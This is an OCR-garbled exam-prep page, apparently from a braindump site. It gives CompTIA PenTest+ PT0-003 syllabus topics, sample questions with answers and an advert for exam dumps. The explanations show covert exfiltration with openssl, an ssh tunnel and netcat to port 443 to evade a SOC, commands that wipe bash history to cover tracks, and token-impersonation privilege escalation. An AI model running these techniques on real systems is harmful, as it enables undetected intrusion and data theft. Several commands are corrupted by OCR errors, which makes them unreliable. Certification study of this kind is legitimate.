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CompTIA PT0-003 Exam Syllabus Topics:

Topic Details

¢ Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration
. techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration
Topic 1 purposes. They will also understand which tools to use for these stages, essential for gathering crucial
nformation before performing deeper penetration tests.

¢ Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and

maintaining persistence within a system. This topic also covers lateral movement within an environment and
Topic 2 mtroduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities,
ensuring analysts understand the post-exploitation phase’s responsibilities.

¢ Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities,
collaboration, and communication in a penetration testing environment. The topic covers testing

Topic 3 frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and

recommend remediation effectively within reports, crucial for real-world testing scenarios.
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¢ Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize

attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud,
Topic 4 wireless, and social engineering attacks using appropriate tools. Understanding specialized systenms and
automating attacks with scripting will also be emphasized.

¢ Vuherability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to

discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration
Topic 5 phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand
security gaps beyond just the digital landscape.

CompTIA PenTest+ Exam Sample Questions (Q171-Q176):

NEW QUESTION # 171
Which of the following describes a globally accessible knowledge base of adversary tactics and techniques based on real-world
observations?

A. Cyber Kill Chain

B. OWASP Top 10

C. MITRE ATT&CK

D. Well-Architected Framework

Answer: C

NEW QUESTION # 172
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only.
Which of'the following would be most appropriate to avoid alerting the SOC?

A. Apply Base64 to the data and send over a tunnel to TCP port 80.

B. Apply AES-256 to the data and send over a tunnel to TCP port 443.
C. Apply 3DES to the data and send over a tunnel UDP port 53.

D. Apply UTF-8 to the data and send over a tunnel to TCP port 25.

Answer: B

Explanation:

AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data.
Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systens as it
blends with regular secure web traffic.

Step-by-Step Explanation

Encrypting Data with AES-256:

Use a secure key and initialization vector (I'V) to encrypt the data using the AES-256 algorithm.

Example encryption command using OpenSSL:

openssl enc -aes-256-cbc -salt -in plantext. txt -out encrypted.bin -k secretkey Setting Up a Secure Tunnel:

Use a tool like OpenSSH to create a secure tunnel over TCP port 443.

Example command to set up a tunnel:

ssh -L 443 targetserver:443 user@intermediatehost

Transferring Data Over the Tunnel:

Use a tool like Netcat or SCP to transfer the encrypted data through the tunnel.

Example Netcat command to send data:

cat encrypted.bin | nc targetserver 443

Benefits of Using AES-256 and Port 443:

Security: AES-256 provides strong encryption, making it difficult for attackers to decrypt the data without the key.

Stealth: Sending data over port 443 helps avoid detection by security monitoring systens, as it appears as regular HTTPS traffic.
Real-World Exanple:

During a penetration test, the tester needs to exfiltrate sensitive data without triggering alerts. By encrypting the data with AES-256
and sending it over a tunnel to TCP port 443, the data exfiltration blends in with normal secure web traffic.

Reference from Pentesting Literature:

Various penetration testing guides and HTB write-ups emphasize the importance of using strong encryption like AES-256 for secure



data transfer.

Techniques for creating secure tunnels and exfiltrating data covertly are often discussed in advanced pentesting resources.
Reference:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

NEW QUESTION # 173
A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com.
Which of the following is the best command for the tester to use?

A. dig @8.8.8.8 mydomain.com ANY » /path/to/results. txt
B. nslookup mydomain.com » /path/to/results. txt

C. crunch 1 2 | xargs -n 1 -1'X' nslookup X.mydomain.com
D. cat wordlist.txt | xargs -n 1 -1'X' dig X.mydomain.com

Answer: D

Explanation:

Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command cat wordlist. txt |
xargs -n 1 -1'X' dig X. mydomain.comreads each line from wordlist.txt and perforns a DNS lookup for each potential subdomain.
* Command Breakdown:

* cat wordlist.txt: Reads the contents of wordlist.txt, which contains a list of potential subdomains.

* xargs -n 1 -1'X": Takes each line from wordlist.txt and passes it to dig one at a time.

* dig X.mydomain.com: Performs a DNS lookup for each subdomain.

* Why This is the Best Choice:

* Efficiency: xargs efficiently processes each line from the wordlist and passes it to dig for DNS resolution.

* Automation: Automates the enumeration of subdomains, making it a practical choice for large lists.

* Benefits:

* Automates the process of subdomain enumeration using a wordlist.

* Efficiently handles a large number of subdomains.

* References from Pentesting Literature:

* Subdomain enumeration is a critical part of the reconnaissance phase in penetration testing, Tools like dig and techniques nvolving
wordlists are commonly discussed in penetration testing guides.

* HTB write-ups often detail the use of similar commands for efficient subdomain enumeration.

Step-by-Step ExplanationReferences:

* Penetration Testing - A Hands-on Introduction to Hacking

* HTB Official Writeups

NEW QUESTION # 174

A penetration tester gains access to a systemand establishes persistence, and then runs the following commands:
cat /dev/mull > temp

touch -r .bash_history temp

mv temp .bash_history

Which of'the following actions is the tester MOST likely performing?

A. Covering tracks by clearing the Bash history

B. Making decoy files on the system to confuse incident responders
C. Redirecting Bash history to /dev/null

D. Making a copy of the user's Bash history for further enumeration

Answer: A

Explanation:

The commands are used to clear the Bash history file of the current user, which records the commands entered in the terminal. The
first command redirects /dev/null (a special file that discards any data written to it) to temp, which creates an empty file named termp.
The second command changes the timestamp of temp to match that of .bash_history (the hidden file that stores the Bash history).
The third command renames temp to

.bash_history, which overwrites the original file with an empty one. This effectively erases any trace of the commands executed by
the user.



Reference: httpsz//null-byte. wonderhowto.comhow-to/clear-logs-bash-history-hacked- linux-systems-cover- your-tracks-remain-
undetected-0244768/

NEW QUESTION # 175

A penetration tester is researching a path to escalate privileges. While enumerating current user privileges, the tester observes the
following:

SeAssignPrimaryTokenPrivilege Disabled

SelncreaseQuotaPrivilege Disabled

SeChangeNotifyPrivilege Enabled

SeManageVolumePrivilege Enabled

SelmpersonatePrivilege Enabled

SeCreateGlobalPrivilege Enabled

Selncrease WorkingSetPrivilege Disabled

Which of the following privileges should the tester use to achieve the goal?

A. SelmpersonatePrivilege

B. SeCreateGlobalPrivilege
C. SeChangeNotifyPrivilege
D. SeManageVolumePrivilege

Answer: A

Explanation:

The SelmpersonatePrivilege allows a process to impersonate another user's security context, which is commonly used in token
manipulation attacks for privilege escalation.

* Option A (SelmpersonatePrivilege) #: Correct.

* Used in Juicy Potato or Rogue Potato attacks to escalate privileges.

* Option B (SeCreateGlobalPrivilege) #: Allows creating global objects, but not privilege escalation.

* Option C (SeChangeNotifyPrivilege) #: Enables traverse directory access, not privilege escalation.

* Option D (SeManage VolumePrivilege) #: Used for disk management, not privilege escalation.

# Reference: CompTIA PenTest+ PT0-003 Official Guide - Windows Privilege Escalation via Token Impersonation

NEW QUESTION # 176

Here I would like to explain the core value of Actualtestsdsure exam dumps. Actualtests4sure Practice PT0-003 Test dumps
guarantee 100% passing rate. Actualtests4sure real questions and answers are compiled by lots of CompTIA experts with abundant
experiences. So it has very high value. The dumps not only can be used to prepare for CompTIA certification exam, also can be
used as a tool to develop your skills. In addition, if you want to know more knowledge about your exam, Actualtestsdsure exam
dumps can satisfy your demands.
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